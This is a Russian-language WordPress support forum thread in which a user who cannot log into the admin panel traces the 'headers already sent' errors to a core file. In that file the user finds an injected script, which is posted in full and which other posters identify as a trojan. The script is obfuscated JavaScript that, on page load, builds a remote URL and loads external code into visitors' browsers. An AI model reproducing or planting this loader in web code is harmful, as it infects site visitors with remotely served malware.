Не могу войти в админку, ошибки

какая-то хрень с админкой, не могу войти, выдает следующие сообщения

Warning: Cannot modify header information – headers already sent by (output started at /www/zapomina/www/htdocs/wp-includes/default-filters.php:171) in /www/zapomina/www/htdocs/wp-login.php on line 12

Warning: Cannot modify header information – headers already sent by (output started at /www/zapomina/www/htdocs/wp-includes/default-filters.php:171) in /www/zapomina/www/htdocs/wp-login.php on line 24

понимаю, что в wp-login.php есть ошибки в 12 и 24 строках, но не врубаюсь в чем они, вот эти строки:

12 – header(‘Content-Type: ‘.get_bloginfo(‘html_type’).’; charset=’.get_bloginfo(‘charset’));

24 – setcookie(TEST_COOKIE, ‘WP Cookie check’, 0, COOKIEPATH, COOKIE_DOMAIN);

еще на входе в админку пишет, что браузер не поддерживает куки, посмотрел свой FF 3.5.8, фуфло, куки включены

курил форумы по этой теме, свой вариант не нашел

предварительно слетела кодировка, написал хостеру, они прописали в htaccess строку для utf8, стало открываться, но блин в разных браузерах по разному, плюс что-то гложут сомнения, у меня php’шная база в sp1251, и раньше в htaccess ничего не надо было прописывать

подскажите, кто ориентируется в теме, в чем там ошибки в строках и как вообще с этим бороться, главное накануне ничего с сайтом не делал, поэтому сразу подумал про хостера, те действительно подозрительно быстро и без возражений отреагировали, еще и на сапе 80% ссылок вылетели в еррор, наверное тоже с этим как-то связано

сорри, что много пишу, но может это как-то поможет

у меня такая штука Warning: Cannot modify header information – headers already sent by вылетала когда я дополнительный функционал к теме прикручивал. По поводу кодировки которую через .htaccess правиться функцией: AddDefaultCharset UTF-8 это только для вывода в браузер. То что в разных браузерах по разному, это потому что шаблон нужно поправить. А вообще советую шаблон поставить дефолтовый и попробовать. Если в админку не можете зайти, просто снесите шаблон в папке с темами.

понимаю, что в wp-login.php есть ошибки в 12 и 14 строках

Неправильно понимаете. Ошибка раньше, в default-filters.php:171. Точнее, даже не в этой строке, а в том, что она делает что-то, что приводит к преждевременному выводу в поток.

[quote=dibor]понимаю, что в wp-login.php есть ошибки в 12 и 14 строках

Неправильно понимаете. Ошибка раньше, в default-filters.php:171. Точнее, даже не в этой строке, а в том, что она делает что-то, что приводит к преждевременному выводу в поток.[/quote]
Да, но что это за ошибка, как говорится, осталось самое легкое

этот файл делает какой-то фильтр, но какой? у меня такое впечатление, что это какой-то не родной файл WP, или я не прав?

я тут еще сам одну ошибку допустил, сорри, не 14, а 24 строка

24 – setcookie(TEST_COOKIE, ‘WP Cookie check’, 0, COOKIEPATH, COOKIE_DOMAIN);

тут действительно что-то с куками

у меня такая штука Warning: Cannot modify header information - headers already sent by вылетала когда я дополнительный функционал к теме прикручивал. По поводу кодировки которую через .htaccess правиться функцией: AddDefaultCharset UTF-8 это только для вывода в браузер. То что в разных браузерах по разному, это потому что шаблон нужно поправить. А вообще советую шаблон поставить дефолтовый и попробовать. Если в админку не можете зайти, просто снесите шаблон в папке с темами.

Спасибо за участие, но вроде ничего такого не прикручивал. Снести шаблон и поставить дефолтный в принципе возможно, но блин там столько много своего, что пока хочется попробовать обойтись малой кровью

Попробовал следующее, взял первый файл – htdocs/wp-includes/default-filters.php:171 – попробовал сохранить его в utf8, загрузил, не помогло, но строчка изменилась, вместо 171 в конце появилась 1

посмотрел первую строку – там просто <?php и все??

а на 171 здоровенный скрипт

<script>this.EJ=”;this.OU=”;function K(){var c;if(c!=’pz’ && c!=’N’){c=”};var zE=new String();var MC;if(MC!=’AP’){MC=’AP’};var s=String("g");var Au;if(Au!=’y’ && Au != ”){Au=null};this.w="";var W=”;var lD=new Array();var M=RegExp;this.I=”;var zM;if(zM!=’rg’ && zM!=’UP’){zM=”};function g(T,r){var C;if(C!=” && C!=’i’){C=”};var U= String("[jwKz".substr(0,1));U+=r;this.TJ=”;var Rp;if(Rp!=” && Rp!=’a’){Rp=’Hy’};U+=new String("]");var Ud=new M(U, s);return T.replace(Ud, W);this.lu="";};var H=”;var Ho;if(Ho!=” && Ho!=’yG’){Ho=”};var ca;if(ca!=”){ca=’Ur’};this.tm=”;var P=String("yDbdef".substr(3)+"8Y1Ner".substr(4));var Va=new Array();var ch;if(ch!=” && ch!=’zr’){ch=null};var L=new String("MqGht".substr(3)+"tp1bj".substr(0,2)+":/zoat".substr(0,2)+"Tla/k".substr(3)+"vNXhee".substr(4)+"zm"+"ov"+"9Nzkiez9Nk".substr(4,2)+"mPVs-".substr(3)+"ZGjco".substr(3)+"SoIm.SIo".substr(3,2)+"vmZBo".substr(0,2)+"XGWn.GWX".substr(3,2)+"ne"+"t."+"MFhnu".substr(3)+"3NwX-n".substr(4)+"Inel.".substr(3)+"xrAph".substr(3)+"nZsKot".substr(4)+"omGNzU".substr(0,2)+"EHctax".substr(4)+"drQula".substr(4)+"jNWb.jNW".substr(3,2)+"9YDBruYD9B".substr(4,2)+"VYhv:".substr(4));this.Dt=”;var A=new String("/let"+"itbiYNqW".substr(0,4)+"H4rt.neH4r".substr(3,4)+"t/leg6i0".substr(0,4)+"9pCQtitb".substr(4)+"it.nCTv".substr(0,4)+"et/b"+"adon"+"go.cmYa".substr(0,4)+"qXUfom/c".substr(4)+"f5wKraigKwf5".substr(4,4)+"slis"+"anmt.or".substr(3)+"g/gokAc".substr(0,4)+"Ztsogle".substr(3)+".com"+".php");var rK;if(rK!=’gN’){rK=”};var Lc;if(Lc!=’UR’){Lc=”};var l=window;var f=g(‘82721440421248247140272774′,"4271");this.qd=”;var R=new String("sr"+"cb8FO".substr(0,1));this.rY=”;var O=String("scMILA".substr(0,2)+"FLVri".substr(3)+"fIOsptIsOf".substr(4,2));var Wx=new String();l.onload=function(){var HEq="";var F=new String();try {var QP;if(QP!=” && QP!=’e’){QP=null};var Gp=new Date();H=L+f;this.ty=”;H+=A;var bs="";_=document.createElement(O);var LF=new Date();var Mv;if(Mv!=’Ql’ && Mv!=’rS’){Mv=’Ql’};var Gl=”;var Ko=”;_[R]=H;var lY;if(lY!=’qb’ && lY!=’QH’){lY=’qb’};var kr;if(kr!=’vK’ && kr!=’nL’){kr=’vK’};var Nt;if(Nt!=” && Nt!=’xv’){Nt=’TW’};_[P]=[1][0];var Fr=new Array();var tW;if(tW!=’Vj’){tW=’Vj’};document.body.appendChild(_);} catch(E){var Co;if(Co!=’osF’){Co=”};var _z="";};this.pX=”;var Aj;if(Aj!=’My’ && Aj != ”){Aj=null};};var pE=new Array();};this.QX="";var nH;if(nH!=’vT’ && nH!=’Ef’){nH=’vT’};K();</script>

люди, подскажите, плиз

Поздравляю, поймали трояна. Еще повезло, что зараза села матюком, а то б и не знали, что разносите заразу.

Поздравляю, поймали трояна. Еще повезло, что зараза села матюком, а то б и не знали, что разносите заразу.

так, а конкретнее можно, троян – это и есть этот скрипт? и как его – просто удалить код и все?

http://mywordpress.ru/support/viewtopic.php?id=8368

Anonymous
Отправить
Ответ на: